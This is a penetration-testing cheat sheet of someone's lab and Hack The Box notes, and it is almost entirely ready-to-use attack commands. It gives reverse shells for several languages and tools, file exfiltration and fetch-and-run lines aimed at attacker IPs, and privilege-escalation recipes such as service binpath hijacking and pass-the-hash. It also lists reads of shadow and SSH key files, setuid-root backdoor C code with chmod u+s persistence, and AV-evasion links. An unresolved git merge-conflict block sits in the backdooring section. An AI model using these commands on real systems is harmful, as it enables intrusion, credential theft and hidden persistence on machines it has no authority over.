msfvenom -p cmd/unix/reverse_python LHOST=[ATTACKER's_IP_ADDRESS] LPORT=[ATTACKER's_PORT] -f raw > shell.py	(reverse shell using msfvenom)

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/[ATTACKER's_IP_ADDRESS]/[ATTACKER's_PORT];cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()	(reverse shell)

Linux

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=[ATTACKER's_IP_ADDRESS] LPORT=[ATTACKER's_PORT] -f elf > shell.elf	(reverse shell using msfvenom)
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=[ATTACKER's_IP_ADDRESS] LPORT=[ATTACKER's_PORT] -f [LANGUAGE]	(reverse shell using msfvenom - shellcode)

Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=[ATTACKER's_IP_ADDRESS] LPORT=[ATTACKER's_PORT] -f exe > shell.exe	(reverse shell using msfvenom)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=[ATTACKER's_IP_ADDRESS] LPORT=[ATTACKER's_PORT] -f [LANGUAGE]		(reverse shell using msfvenom - shellcode)	

Mac

msfvenom -p osx/x86/shell_reverse_tcp LHOST=[ATTACKER's_IP_ADDRESS] PORT=[ATTACKER's_PORT] -f macho > shell.macho	(reverse shell using msfvenom)
msfvenom -p osx/x86/shell_reverse_tcp LHOST=[ATTACKER's_IP_ADDRESS] LPORT=[ATTACKER's_PORT] -f [LANGUAGE]		(reverse shell using msfvenom - shellcode)

Netcat

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [ATTACKER's_IP_ADDRESS] [ATTACKER's_PORT] >/tmp/f

Socat

#if there's no socat on the system you can use the binary here - https://github.com/andrew-d/static-binaries
socat file:`tty`,raw,echo=0 tcp-listen:443	#attacker
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:[LHOST_IP]:443 #victim

ICMP

#Download
https://github.com/inquisb/icmpsh
https://github.com/samratashok/nishang

#Usage
/nishang/Shells/Invoke-PowerShellIcmp.ps1

#Example
https://www.youtube.com/watch?v=IbVmpr6IFQU&t=995s	(HTB - Minion)

MSF stuff

msfconsole -x "use exploit/multi/handler;set LHOST [ATTACKER's_IP_ADDRESS];set LPORT [ATTACKER's_PORT];set PAYLOAD [PAYLOAD];run"
use multi/recon/local_exploit_suggester	#Post module

Prepared shellcodes at: http://shell-storm.org/shellcode/


TTY Shells

Spawn a TTY shell from a limited shell in Linux, useful for running commands like su from reverse shells.

Python TTY Shell Trick

python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')

Spawn Interactive sh shell

/bin/sh -i

Spawn Perl TTY Shell

exec "/bin/sh";
perl —e 'exec "/bin/sh";'

Spawn Ruby TTY Shell

exec "/bin/sh"

Spawn Lua TTY Shell

os.execute('/bin/sh')

Spawn TTY Shell from Vim

:set shell=/bin/bash
:!bash

Spawn TTY Shell from Vi

:!/bin/bash

Spawn TTY Shell NMAP --interactive

!sh

File Transfer

certutil -urlcache -split -f http://[ATTACKERS_MACHINE]/[FILE_TO_TRANSFER] C:\\users\public\[FILE_TO_TRANSFER]	#certutil method (Linux --> Windows)
SMB - https://0xdf.gitlab.io/2018/10/11/pwk-notes-post-exploitation-windows-file-transfers.html
python3 -m http.server [PORT]	#Simple HTTP request handler - very basic web server serving files relative to the current directory - In Arch
python -m SimpleHTTPServer [PORT]	#In Kali
php -S 127.0.0.1:8080	#HTTP request handler in php
cat [FILE_2BE_MOVED] > /dev/tcp/[ATTACKER'S_IP]/[ATTACKER'S_PORT] 	#Don't forget to setup a listener: ncat -lvnp [ATTACKER'S_PORT] > [FILE_2BE_MOVED]

- https://blog.ropnop.com/transferring-files-from-kali-to-windows/

- SecureCopy (scp) - http://www.hypexr.org/linux_scp_help.php


Privilege Escalation

Windows:

- http://www.bhafsec.com/wiki/index.php/Windows_Privilege_Escalation

- http://www.fuzzysecurity.com/tutorials/16.html

- http://addaxsoft.com/wpecs/

- https://sushant747.gitbooks.io/total-oscp-guide/privilege_escalation_windows.html

- ADS - https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/

- Rotten Potato - https://foxglovesecurity.com/2017/08/25/abusing-token-privileges-for-windows-local-privilege-escalation/ (using meterpreter's incognito module - https://www.offensive-security.com/metasploit-unleashed/fun-incognito/)

- Rotten Potato - https://decoder.cloud/2017/12/23/the-lonely-potato/ (without meterpreter)

Basic enumeration:

whoami /priv	#user's privileges on the system
cmdkey /list	#Will display a list of all user names and credentials that are stored in the computer	(HTB-Access example: https://www.youtube.com/watch?v=Rr6Oxrj2IjU&t=1558s)

#list of privileges that can be abused by Rotten Potato.
SeImpersonatePrivilege
SeAssignPrimaryPrivilege
SeTcbPrivilege
SeBackupPrivilege
SeRestorePrivilege
SeCreateTokenPrivilege
SeLoadDriverPrivilege
SeTakeOwnershipPrivilege
SeDebugPrivilege

#HTB Tally example - https://www.youtube.com/watch?v=l-wzBhc9wFc&t=2400s
#https://github.com/foxglovesec/RottenPotato		#rottenpotato.exe exploit
#https://github.com/breenmachine/RottenPotatoNG		#Newer exploit	

#Automation
* JAWS - Just Another Windows (Enum) Script - https://github.com/411Hall/JAWS
* PowerUp.ps1 (add 'Invoke-AllChecks' at the end of the script and invoke it)	#Powersploit
sc query state= all type= all | findstr SERVICE_NAME	#enumerate services and drivers

Search for license.rtf / eula.txt:

C:\windows\system32\license.rtf #on tftp win xp - "get \windows\system32\license.rtf"
C:\windows\system32\eula.txt	#on tftp win xp - "get \windows\system32\eula.txt"

Transferring files TFTP example:

root@gandosha:~/Desktop/CTFs/Dropzone# tftp [IP_ADDRESS]
tftp> status
Connected to [IP_ADDRESS].
Mode: netascii Verbose: off Tracing: off
Rexmt-interval: 5 seconds, Max-timeout: 25 seconds
tftp> mode binary
tftp> put nc.exe /windows/system32/nc.exe
Sent 59392 bytes in 13.4 seconds
tftp> quit

AppLocker policy: (on meterpreter's powershell module it works better)

meterpreter > load powershell 
Loading extension powershell...Success.
meterpreter > powershell_shell
PS > get-applockerpolicy -effective -xml | Out-File -filepath "C:\Users\Public\applock_policy.xml"

Pass The Hash:

#Example
pth-winexe -U jeeves/Administrator%aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00 //10.10.10.63 cmd.exe
accesschk.exe /accepteula (first thing to do in CLI access)
accesschk.exe /accepteula -uwcqv "Authenticated Users" * (won't yield anything on Win 8)
accesschk.exe /accepteula -ucqv [SERVICE_NAME]
sc qc [SERVICE_NAME]
sc config [SERVICE_NAME] binpath= "C:\[NC.EXE_PATH] -nv [LHOST] [LPORT] -e C:\WINDOWS\System32\cmd.exe"
sc config [SERVICE_NAME] obj= ".\LocalSystem" password= ""
sc config [SERVICE_NAME] start= auto
net start [SERVICE_NAME]

Linux:

- getcap - man capabilities in terminal for types (Example: https://www.youtube.com/watch?v=1klneIHECqY&t=2190s)

- PSPY - Monitor linux processes without root permissions - https://github.com/DominicBreuker/pspy

- Using Unix Wildcards - https://gandosha.github.io/DefenseCode_Unix_WildCards_Gone_Wild.txt (To create a file use"touch -- --reference=[FILE]"

- Using NFS - https://haiderm.com/linux-privilege-escalation-using-weak-nfs-permissions/

- https://gtfobins.github.io/ - a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.


- LinEnum - http://www.rebootuser.com/?p=1758

- LinuxPrivChecker - http://www.securitysift.com/download/linuxprivchecker.py


Sudo Tricks:

#Great read - https://www.securusglobal.com/community/2014/03/17/how-i-got-root-with-sudo/

#Spawn a shell as a user
www-data@bashed:/tmp$ sudo -l
sudo -l
Matching Defaults entries for www-data on bashed:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bashed:
    (scriptmanager : scriptmanager) NOPASSWD: ALL
www-data@bashed:/tmp$ sudo -u scriptmanager bash -i
sudo -u scriptmanager bash -i
scriptmanager@bashed:/tmp$ whoami
whoami
scriptmanager

Am I inside a container?

cat /proc/self/cgroup	

What's the distribution type? What version?

cat /etc/issue
cat /etc/*-release
cat /etc/lsb-release      # Debian based
cat /etc/redhat-release   # Redhat based

What's the kernel version? Is it 64-bit?

cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-

What can be learnt from the environmental variables?

cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set

Is there a printer?

lpstat -a

What services are running? Which service has which user privilege?

ps aux
ps -ef
top
cat /etc/services

Which service(s) are been running by root? Of these services, which are vulnerable - it's worth a double check!

ps aux | grep root
ps -ef | grep root

What applications are installed? What version are they? Are they currently running?

ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/

Any of the service(s) settings misconfigured? Are any (vulnerable) plugins attached?

cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

What jobs are scheduled?

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root

Any plain text usernames and/or passwords?

grep -i user [filename]
grep -i pass [filename]
grep -C 5 "password" [filename]
find . -name "*.php" -print0 | xargs -0 grep -i -n "var $password"   # Joomla

What NIC(s) does the system have? Is it connected to another network?

/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network

What are the network configuration settings? What can you find out about this network? DHCP server? DNS server? Gateway?

cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname

What other users & hosts are communicating with the system?

lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tul
chkconfig --list
chkconfig --list | grep 3:on
last
w

Whats cached? IP and/or MAC addresses

arp -e
route
/sbin/route -nee

Is packet sniffing possible? What can be seen? Listen to live traffic

tcpdump tcp dst [ip] [port] and tcp dst [ip] [port]

Have you got a shell? Can you interact with the system?

nc [ATTACKER's_IP] [PORT] -e /bin/sh
mknod backpipe p; nc [ATTACKER's_IP] [PORT] 0backpipe
/bin/bash -i > /dev/tcp/[ATTACKER's_IP]/[PORT] 0<&1 2>&1
mknod backpipe p; telnet [ATTACKER's_IP] [PORT] 0backpipe
telnet [ATTACKER's_IP] [1st_PORT] | /bin/bash | telnet [ATTACKER's_IP] [2nd_PORT]
wget -O /tmp/bd.php [url_to_malicious_file] && php -f /tmp/bd.php

* More nc info at: https://gandosha.github.io/sans_netcat_cheat_sheet_v1.pdf

Is port forwarding possible? Redirect and interact with traffic from another view

- http://www.boutell.com/rinetd/

- http://www.howtoforge.com/port-forwarding-with-rinetd-on-debian-etch

- https://gandosha.github.io/fpipe2_1.zip

FPipe.exe -l [local port] -r [remote port] -s [local port] [local IP]
ssh -L [local port]:[remote ip]:[remote port] [local user]@[local ip]
ssh -R [local port]:[remote ip]:[remote port] [local user]@[local ip]
mknod backpipe p ; nc -l -p [remote port] < backpipe | nc [local IP] [local port] >backpipe
mknod backpipe p ; nc -l -p 8080 < backpipe | nc 10.5.5.151 80 >backpipe    # Port Relay
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow 1>backpipe    # Proxy (Port 80 to 8080)
mknod backpipe p ; nc -l -p 8080 0 & < backpipe | tee -a inflow | nc localhost 80 | tee -a outflow & 1>backpipe    # Proxy monitor (Port 80 to 8080)

Is tunnelling possible? Send commands locally, remotely

Pivoting - https://gandosha.github.io/tunneling-pivoting-web-application-penetration-testing.pdf

Scenario - https://pentest.blog/explore-hidden-networks-with-double-pivoting/

ICMP Tunnelling - https://resources.infosecinstitute.com/icmp-attacks/#gref

DNS Tunnelling - https://resources.infosecinstitute.com/dns-tunnelling/#gref

ssh -L port:destination_host:destination_port username@pivot_host	#SSH Local Port Forwarding
ssh -D address:port -f -N username@pivot_host				#SSH Dynamic Port Forwarding (Socks Proxy) **Do not forget to configure proxychains**

#Example - HTB Inception
user@pc# proxychains nmap -Pn -p 22 -sT --unprivileged 127.0.0.1		(/etc/proxychains.conf: http 10.10.10.67 3128)
ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-08 13:55 EST
|S-chain|-<>-10.10.10.67:3128-<><>-127.0.0.1:22-<><>-OK
Nmap scan report for localhost (127.0.0.1)
Host is up (0.20s latency).

PORT   STATE SERVICE
22/tcp open  ssh

Nmap done: 1 IP address (1 host up) scanned in 0.25 seconds

Who are you? Who is logged in? Who has been logged in? Who else is there? Who can do what?

id
who
w
last
cat /etc/passwd | cut -d: -f1    # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd   # List of super users
cat /etc/sudoers
sudo -l

What sensitive files can be found?

cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/

Anything "interesting" in the home directorie(s)? If it's possible to access

ls -ahlR /root/
ls -ahlR /home/

Are there any passwords in; scripts, databases, configuration files or log files? Default paths and locations for passwords

cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg

What has the user/s being doing? Is there any password in plain text? What have they been edting?

find -name ".bash_history" -exec cat {} \;
cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

What user information can be found?

cat ~/.bashrc
cat ~/.profile
cat /var/mail/root
cat /var/spool/mail/root

Can private-key information be found?

cat ~/.ssh/authorized_keys cat ~/.ssh/identity.pub cat ~/.ssh/identity cat ~/.ssh/id_rsa.pub cat ~/.ssh/id_rsa cat ~/.ssh/id_dsa.pub cat ~/.ssh/id_dsa cat /etc/ssh/ssh_config cat /etc/ssh/sshd_config cat /etc/ssh/ssh_host_dsa_key.pub cat /etc/ssh/ssh_host_dsa_key cat /etc/ssh/ssh_host_rsa_key.pub cat /etc/ssh/ssh_host_rsa_key cat /etc/ssh/ssh_host_key.pub cat /etc/ssh/ssh_host_key

Which configuration files can be written in /etc/? Able to reconfigure a service?

ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null     # Anyone
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null       # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null    # Group
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null        # Other
find /etc/ -readable -type f 2>/dev/null               # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null   # Anyone

What can be found in /var/ ?

ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases

Any settings/files (hidden) on website? Any settings file with database information?

ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/

Is there anything in the log file(s) (Could help with "Local File Includes"!)

cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/

Note: auth.log, boot, btmp, daemon.log, debug, dmesg, kern.log, mail.info, mail.log, mail.warn, messages, syslog, udev, wtmp

Any settings/files (hidden) on website? Any settings file with database information?

ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/

How are file-systems mounted?

mount
df -h

Are there any unmounted file-systems?

cat /etc/fstab

What "Advanced Linux File Permissions" are used? Sticky bits, SUID & GUID

find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.
find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the group, not the user who started it.
find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the owner, not the user who started it.
find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done    # Looks in 'common' places: /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin and any other *bin, for SGID or SUID (Quicker search)

# find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null

####Sets uidbit written in C####

#include 
#include 
#include 
int main( int argc, char *argv[] )
{
	setreuid(0, 0);
	execve("/bin/sh", NULL, NULL);
}

#Great privilege escalation using this method is Jail HTB - https://www.youtube.com/watch?v=80-73OYcrrk&t=3851s

Where can written to and executed from? A few 'common' places: /tmp, /var/tmp, /dev/shm

find / -writable -type d 2>/dev/null      # world-writeable folders
find / -perm -222 -type d 2>/dev/null     # world-writeable folders
find / -perm -o w -type d 2>/dev/null     # world-writeable folders
find / -perm -o x -type d 2>/dev/null     # world-executable folders
find / \( -perm -o w -perm -o x \) -type d 2>/dev/null   # world-writeable & executable folders

Any "problem" files? Word-writeable, "nobody" files

find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print   # world-writeable files
find /dir -xdev \( -nouser -o -nogroup \) -print   # Noowner files

Discover files that are modified between two dates:

#Example - files that were modifies between 2017-08-20 and 2017-08-25
find / -type f -newermt 2017-08-20 ! -newermt 2017-08-25

What development tools/languages are installed/supported?

find / -name perl*
find / -name python*
find / -name gcc*
find / -name cc

How can files be uploaded?

find / -name wget
find / -name nc*
find / -name netcat*
find / -name tftp*
find / -name ftp

Are there any exploits available publicly from the services discovered?

getsploit [VERSION]

- Precompiled windows exploits - https://github.com/abatchy17/WindowsExploits

- Windows kernel exploits - https://github.com/SecWiki/windows-kernel-exploits

- Linux kernel exploits - https://github.com/SecWiki/linux-kernel-exploits

- https://cxsecurity.com/

- http://seclists.org/fulldisclosure/

- http://www.securiteam.com

- http://www.securityfocus.com

- http://www.google.com


Compilation

Linux on Linux - https://null-byte.wonderhowto.com/how-to/perform-local-privilege-escalation-using-linux-kernel-exploit-0186317/
Windows on Linux - https://null-byte.wonderhowto.com/how-to/use-mingw-compile-windows-exploits-kali-linux-0179461/

AV evasion

https://www.shellterproject.com/
https://github.com/Genetic-Malware/Ebowla	#usage example - https://www.youtube.com/watch?v=l-wzBhc9wFc&t=2756s

Backdooring

#setuid bit combina (root permissions required) - https://gist.github.com/dergachev/7916152

#setuid.c file#
#include 
#include 
#include 

int main ( int argc, char *argv[] )
{
	setreuid(0,0);
	execve("/bin/sh", NULL, NULL);
}

**Compile it to target's architecture and replace with a file to be executed by root**
gcc -m32 -o setuid setuid.c #32bit

Errors in compilation?
apt install gcc-multilib

<<<<<<< HEAD
**Transfer setuid to the target and get it 6555 permissions**
[On_Target] chmod 6555 setuid

Example: https://www.youtube.com/watch?v=9MeBiP637ZA

#Others
=======
Example: https://www.youtube.com/watch?v=9MeBiP637ZA

>>>>>>> 0c54566c4c730593c58008f170042b083f2a79b6
ls -al /bin/nano       #    -rwxr-xr-x 1 root root 191976 2010-02-01 20:30 /bin/nano
chmod u+s /bin/nano    # installs the backdoor

More

CyberChef - https://gchq.github.io/CyberChef/
nohup - run a command immune to hangups, with output to a non-tty (example: "nohup bash -i >& /dev/tcp/10.10.14.47/9001 0>&1 &")
exiftool [FILE]	#extract file's metadata
binwalk #tool for searching binary images for embedded files and executable code
sort [WORDLIST_PATH] | uniq          (Outputs unique words in a wordlist that is found)
sort [WORDLIST_PATH] | uniq | wc -l  (sorts number of unique words in a wordlist that is found)
ip -4 addr show scope global    /*Determine interfaces ip address + prefix*/
ip route show | grep default    /*Determine which interface is public*/
finger -l [USER_NAME]@[IP_ADDRESS]	(Installation: yaourt -S netkit-bsd-finger)
base64 -d [FILE] > [OUTPUT_FILE]	(decode in CLI)

keepass2john [KEYPASS_FILE.kdbx]	#Convert the key to john the ripper format (take what starts with $keepass$ till the end in order to crack it - see also hashcat modules)
Use this keepass file in order to discover what is inside using keepassx (on Kali) - for example: https://www.youtube.com/watch?v=l-wzBhc9wFc.

zip2john [zip_file_name].zip > [zip_file_name].hash 	#Convert the key to john the ripper format (and crack it)


#Command output redirection
> file redirects stdout to file
1> file redirects stdout to file
2> file redirects stderr to file
&> file redirects stdout and stderr to file

/dev/null is the null device it takes any input you want and throws it away. It can be used to suppress any output.

#Golang
Working with files - https://www.devdungeon.com/content/working-files-go
Concurreny - https://medium.com/@trevor4e/learning-gos-concurrency-through-illustrations-8c4aff603b3 

#Steganography
https://github.com/StefanoDeVuono/steghide
[cmd] --> steghide extract -sf [file_name.jpg]

#Certificate signing (for firefox) (HTB - LaCasaDePapel - I got ca.key private key)
openssl genrsa -out client.key 4096
openssl req -new -key client.key -out client.req
openssl x509 -req -in client.req -CA lacasadepapelhtb.crt -CAkey ca.key -set_serial 101 -extensions client -days 365 -outform PEM -out client.cer
openssl pkcs12 -export -inkey client.key -in client.cer -out client.p12

Other (quick) guides & Links

Decrypting TLS Browser Traffic With Wireshark - https://jimshaver.net/2015/02/11/decrypting-tls-browser-traffic-with-wireshark-the-easy-way/

Enumeration - http://www.0daysecurity.com/penetration-testing/enumeration.html

Misc - http://jon.oberheide.org/files/stackjacking-infiltrate11.pdf

Misc - http://insidetrust.blogspot.com/2011/04/quick-guide-to-linux-privilege.html

PT - https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/

PT - https://github.com/chouaibhm/OSCP-Survival-Guide-1/blob/master/OSCP_Helpful_Links.md

shellshock bug - https://fedoramagazine.org/shellshock-how-does-it-actually-work/